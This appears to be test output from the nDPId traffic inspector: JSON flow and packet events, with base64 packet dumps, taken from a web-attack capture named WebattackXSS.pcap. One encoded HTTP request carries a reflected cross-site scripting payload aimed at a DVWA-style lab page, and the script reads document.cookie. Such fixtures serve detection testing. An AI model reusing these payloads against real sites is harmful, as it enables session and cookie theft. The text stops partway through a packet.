+00431{"flow_id":76,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347099,"pkt_ts_usec":639920,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KvFAAD4GmuesEAABwKgKMtEoAFAtsEgeXfD0GoARAOXDSwAAAQEICgE5aMgD4zRp"} +00431{"flow_id":76,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1126,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347099,"pkt_ts_usec":640142,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ziVAAEAG9bLAqAoyrBAAAQBQ0Shd8PQaLbBIH4ARAOO9dgAAAQEICgPjOj8BOWjI"} +00432{"flow_id":76,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1127,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347099,"pkt_ts_usec":640896,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KvJAAD4GmuasEAABwKgKMtEoAFAtsEgfXfD0G4AQAOW9cwAAAQEICgE5aMkD4zo\/"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1137,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1499347101314,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53624,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1137,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347101,"pkt_ts_usec":314377,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8HlBAAD4Gp4CsEAABwKgKMtF4AFDPTHQ7AAAAAKACchDeDgAAAgQFtAQCCAoBOWprAAAAAAEDAwc="} +00443{"flow_id":80,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1138,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347101,"pkt_ts_usec":314516,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0XjCGItuz0x0PKAScSBRoQAAAgQFtAQCCAoD4zviATlqawEDAwc="} +00431{"flow_id":80,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1139,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347101,"pkt_ts_usec":315270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HlFAAD4Gp4esEAABwKgKMtF4AFDPTHQ8whiLb4AQAOXwqAAAAQEICgE5amsD4zvi"} +00431{"flow_id":77,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1146,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347101,"pkt_ts_usec":639820,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Zs5AAD4GXwqsEAABwKgKMtFCAFCngwOiZ8ZOv4ARAOUk8QAAAQEICgE5arwD4zbk"} +00432{"flow_id":77,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1147,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347101,"pkt_ts_usec":640039,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0coxAAEAGUUzAqAoyrBAAAQBQ0UJnxk6\/p4MDo4ARAOMfowAAAQEICgPjPDMBOWq8"} +00431{"flow_id":77,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1148,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347101,"pkt_ts_usec":640595,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Zs9AAD4GXwmsEAABwKgKMtFCAFCngwOjZ8ZOwIAQAOUfoAAAAQEICgE5ar0D4zwz"} +00946{"flow_id":78,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1149,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347102,"pkt_ts_usec":358512,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGz3YlAAD4G5s+sEAABwKgKMtFQAFAbC7shc+vY9IAYAOUQnAAAAQEICgE5a3AD4zgeR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1149,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":4,"flow_first_seen":1499347097460,"flow_last_seen":1499347102358,"flow_tot_l4_data_len":527,"flow_min_l4_data_len":32,"flow_max_l4_data_len":415,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53584,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00431{"flow_id":78,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1150,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347102,"pkt_ts_usec":358649,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05BNAAEAG38TAqAoyrBAAAQBQ0VBz69j0Gwu8oIAQAOtbRgAAAQEICgPjPOcBOWtw"} +02828{"flow_id":78,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1151,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347102,"pkt_ts_usec":367231,"pkt_caplen":1837,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1837,"pkt_l4_len":1803,"pkt":"AMGxFOsxABm5CmnxCABFAAcf5BRAAEAG2NjAqAoyrBAAAQBQ0VBz69j0Gwu8oIAYAOt9\/QAAAQEICgPjPOkBOWtwSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE4OjIyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1P4zgQ\/gzS\/gefTzpgpcbb2y+3XJoVtHAgsbfctix70kmRm7itwYmD7bTw72\/sOG14LdkioeKXeXk84xnP5N12+Mvga3\/07\/kRmplMoPOLw7PTPsIdQi4\/9gkZjAbox8noyxnqBh\/Q0CieGEKO\/sYIz4wp9glZLBbB4mMg1ZSMvpFbK6Vr2fywox1PkJoUR++2322HTs9tJnLde0JG99OnTxVrRb4VzhhNYbi1FWbMUGRZOuym5PMe7svcsNx0RncFwyipZj1s2K0hVsSfKJlRpZnpXYyOO39gRCqZW6HhRrDoeylypuiYC27u9tE3NhEsMSxFfSW1RkNuGBomiheG51O0+2M43EP7+2hAsxzVvIKhSzZGB0UheEINlznaHXy\/PNhD827Q\/YDeD9icCVlkAO19SCrFHoXg+TVSTPSwNneC6RljBiMDp\/GHSLTGaKbYpIeDgMBfOl9Qu0oyyvPAbZPH0jiYopbzH8\/olBFYui9pQueWLHAbSxnanbYJ4YrOabWKkVbJPSBX2v0\/BwXBlcZRSCpK7zniXWfHY5neoURQbb0uM4Yrl6Z8jnjaw9Z3cCKmvNcbW1ZIY30r5Nn0ERJ3SE2EnMqgyKcYUQEXYY2jVucGrKDukWpr5BgcVza0P9qLC5qmLK0OBASlqM9pdw+FTK6taQRHMk9A9XUPL3ieykUAWw5Hb6c6SbCDa1ZgoPfcFeDoBMwWEgpWFjzafo1AnkP0lYld0kExK16Q\/5AUR6eNlXZqIeDKYo2+JQ2OhnaICIQfLKLBYUMZKUW0gUHnjfjmcD3GqjSMvIDqaQYcHdr\/6FiqpKUHHgpktyxpA8DR46gvs4zmKTrNr5jzyGYoEq0mbVA4ekAx\/Ha8meIJJ8HnAkK1x4GzTNmaW\/IqfhwdcwjuU7uiN7ZNWQhJ0zbW8RwexoWbbegfWhh4uVq5yLO4uGVJqRjqH5yP+icHm0HRN4K3weHoIab\/OXury2olxmN43Fo5pcH1AA3aPbTLe5uhWjB6HfNWkGoWHF3CCA2ZtrcVnQ5apteHcm+1jlsBqRhwBPUM1Cpfv2xoCitONfRrVlVRr8KhahzL4usN0Oi21tA1iqGR6j6EDZ8gF4tQXa59DldkOLL1I9yPaqmdOYCf5xO5Rl2DCkfnJ+cQHRPZThEdy9KsUbOkwdGBHb6dWW2ht1b9ighHZ278AICv2O7Vfs8XgraEXRWC0MnYXa\/b7jULwXDW\/ZnuAkrmri+YG8Lnywo2TmTKYqoY9fXzRKoM5TSDah34oex1Ka6Hf8UIuqWZBOx\/HY18bRoW\/sSXM2p2NLqTpXLMn+vKOi\/KZvGPvWj7u6xvm0S6HGccyOZUlDAdVlOvjRRR1VQQi9Ituq5gaeBw9nv0BeLN3T6V0eqtgEW7590Dl2HlVtv7ad8vygXVhWsZ4YawW+tl4gzb0WDYeGnY2BkWuiGqptAIYngUaH6No5+XtbxErfEBdwxFgmEqPoKuCo4b96G9MfHQd34tMb4sbz1OlgcLfs0LlnLqRNtZ8+S6Pvnz2F4v42U8\/pjJlC9zYSIzm507E3oTuC8CT4J4BeOrNFc4qWDKdJ2EF9U9om7q8Mmluup14zhW0G5Wv3UGeSbj+LBPBKNqGUxPpSV9pw3LYpvKnwzPcWmMbXN9eH7nbIFOmCiWKbOQRVnENZnM+1XSXfX8+0BxUeyiZx7bOUiMZyDRXsfPAMk96b\/VjugJudhBezhCa2ENIRcl7G2BaSdzLTRrTSr4FNKmYBNIXyHLogvNlE17+yGBGaJpxnPvQpjXbzM6sx93PA1IXFHAo3o6GPqdlGubvdPai886dCKlufeto4g2+dhUPPWqNRMwse9W9VnOfTCL\/geoshewERQAAA=="} +00431{"flow_id":78,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1152,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347102,"pkt_ts_usec":367891,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03YpAAD4G6E2sEAABwKgKMtFQAFAbC7ygc+vf34AQAQBUQgAAAQEICgE5a3ID4zzp"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1153,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1499347102609,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53638,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1153,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347102,"pkt_ts_usec":609708,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ux5AAD4GCrKsEAABwKgKMtGGAFBKzdCxAAAAAKACchAExgAAAgQFtAQCCAoBOWuvAAAAAAEDAwc="} +00443{"flow_id":81,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1154,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347102,"pkt_ts_usec":609833,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0YYGn50FSs3QsqAScSAg+AAAAgQFtAQCCAoD4z0lATlrrwEDAwc="} +00433{"flow_id":81,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1155,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347102,"pkt_ts_usec":610548,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ux9AAD4GCrmsEAABwKgKMtGGAFBKzdCyBp+dBoAQAOW\/\/wAAAQEICgE5a68D4z0l"} +01214{"flow_id":78,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1156,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347102,"pkt_ts_usec":611069,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ93YtAAD4G5gOsEAABwKgKMtFQAFAbC7ygc+vf34AYAQBLzgAAAQEICgE5a68D4zzpR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdGTFM5RlZKNVY2Q1BWUFlEWjUyOFYyVFlWSTdTWkQ4NDExRFJPUzlWNkIwNFZRR0JRSiUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02967{"flow_id":78,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1157,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347102,"pkt_ts_usec":613948,"pkt_caplen":1933,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1933,"pkt_l4_len":1899,"pkt":"AMGxFOsxABm5CmnxCABFAAd\/5BZAAEAG2HbAqAoyrBAAAQBQ0VBz69\/fGwu+6YAYAPR+XQAAAQEICgPjPScBOWuvSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE4OjIyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye1PbOBD\/G2b6HXS6mQM6g9X0dYUm7pAECh16TXEI7c3NeBRbSURky7XkBL79rWQ7Mc\/ghhkmyNI+fqtdrXb1YrP5R\/dbp\/+zd4gmOhKod94+PekgvEvIxZsOId1+F\/047n89RQ3nFfJ0ygNNyOE\/GOGJ1sk+IfP53Jm\/cWQ6Jv0zcmWkNAxbMdxVlscJdYjdF5svNptWz1UkYtW6R0Zjb28vZ83JN5oTRkMYbmw0I6YpMiy77FfGZy3ckbFmsd7tXycMoyD\/amHNrjQxIj6iYEJTxXTrvH+0+wEjksvcaGquBXMHmYhZSodccH29j87YSLBAsxB1UqkU8rhmyAtSnmgej9H2D8\/bQfv7qEujGJW8gqELNkQHSSJ4QDWXMdruDi4OdtCs4TReoZddNmNCJhFAe9kkueICheDxFKVMtLDS14KpCWMaIw3WFEYESmE0SdmohR2HwF84m1MzSyLKY8cuk7vSOGxFKec\/HtExIzB1U9KIzgyZYxcWMpS1tgrhks5oPouRSoMbQC6V\/d8DBc6lwm6T5JSF50jhOjMeyvAaBYIq43UZMZy7NOQzxMMWNr4Di1haeL2yZIRU5jeaPBrfQWKNVETIsXSSeIwRFRAIKxy1tBuwgro7qs0m++C4rKL9zpqf0DBkYW4QEGSitNOstoUMpmZrBEcyDkD1tIXnPA7l3IEli6O1lVvibOGSFRjoDXc52D2GbWsSCrssuLv5FIE8htOXBWZKOckkeUT+bVLsnlRm6qmFA5clK\/QtaLDrmSEicPxgEnXbFWUkE+4aGzqrnG8O4TFMM83II6juZ8Bu2\/xHRzINanrgtkB2xYI6ACw9djsyimgcopP4klmPrIciUOmoDgpLDyi8s6P1FI84cT4lcFRbHDizkK2IkifxY\/eIw+E+MTNq7b3JEiFpWGd3Co4Cxrn9WtM\/NNFwc9VyUcFizy0LspShzkGv3zk+WA+K+iV4HRyWHs7099PnClYj0R\/C5VbLKRWuW2jQdttM76yHas7o1Oe1IJUs2L2AEfKYMtGKTro10+ttuVdK+bWA5AzYhXoGapVvX9fcCiMurehXLK+inoQjLXEsiq9nQKPq7oYqUXhapjchrHkF2bMI1eXK63BJhl1TP0J85FP1tgP4eTySK9RVqLDbO+7B6RjJeoroUGZ6hZoFDXYPzPD5ttUUeivVL4mwe2rHtwAUFduN2u\/hQtCUsMtCEDoZs1roNmvVQrA5afxOdwElc6MomCvCZ4sK1g9kyHyaMlrUzyOZRiimEVTrwA9lr01xLfwnRtAtTSRg\/3zYL2rTZlJYfDGhekuha5mllvlTWVnHSVYt\/nEh2vwu6tsqkcqGEQeyGRUZfHr5Z6GNJG7eVBCDMsebpMw9ZkJIVLQaLlT+SgoGHh5vbx2dentHgy\/vBu87vUHvZ\/ffd68\/DF73fw5O\/vb+7X5422h0z755e4P37VdvB98\/t79\/2dr5WJUQyiAznZYTSDnlbOfjoiUBOCmzrll6uDl57X6FA2\/DP41oflnBpFkr4gOicRlXpvlURcMq51QltmeFEGVXJsyI9eyuAs\/6C8\/61rPQjtF0DJ0ohluJxlPs\/r6sRRTXxgfcPlQpmqX+IbR1YK7fgf5K+17RetbE+Li81ThZ7Mz5lCcs5NSKNl9Vy1Vp+cPYni7jcTyFmcGYL5JxICNzPeyO6C\/HPkncC+IJjE\/SnOOkgqW6YSU8qu4OdVVHkd3yUC8712EK\/W7+W6awB1JekXcCwWi6OM335UV1rTSLfHOX3JsfhpnWps8u8sOAszmC458scnYikyzxSzIZd\/Ksv3x02AeK82QbPXDbz0CiPwGJJhw\/ASRbU\/xVOqIl5HwL7WAXrYTlQTIM2PMCU1bmSmhmN6ngY8jbgo0gfzZZ5J4rlpq8u98k8IVoGPG4cCF8l8UBOjWvSwUNSFxSwK1+0vWKlZArc32EpRcfdOhISn3jsSVx13ntSu67VqsJmJiLM38XtC927v\/CwXf1khQAAA=="} +00432{"flow_id":78,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1158,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347102,"pkt_ts_usec":614631,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03YxAAD4G6EusEAABwKgKMtFQAFAbC77pc+vnKoAQAR1KFQAAAQEICgE5a7AD4z0n"} +00947{"flow_id":78,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1159,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347103,"pkt_ts_usec":655804,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGz3Y1AAD4G5susEAABwKgKMtFQAFAbC77pc+vnKoAYAR34GAAAAQEICgE5bLQD4z0nR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02820{"flow_id":78,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1160,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347103,"pkt_ts_usec":658781,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAce5BhAAEAG2NXAqAoyrBAAAQBQ0VBz6+cqGwvAaIAYAP19\/AAAAQEICgPjPiwBOWy0SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE4OjIzIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpG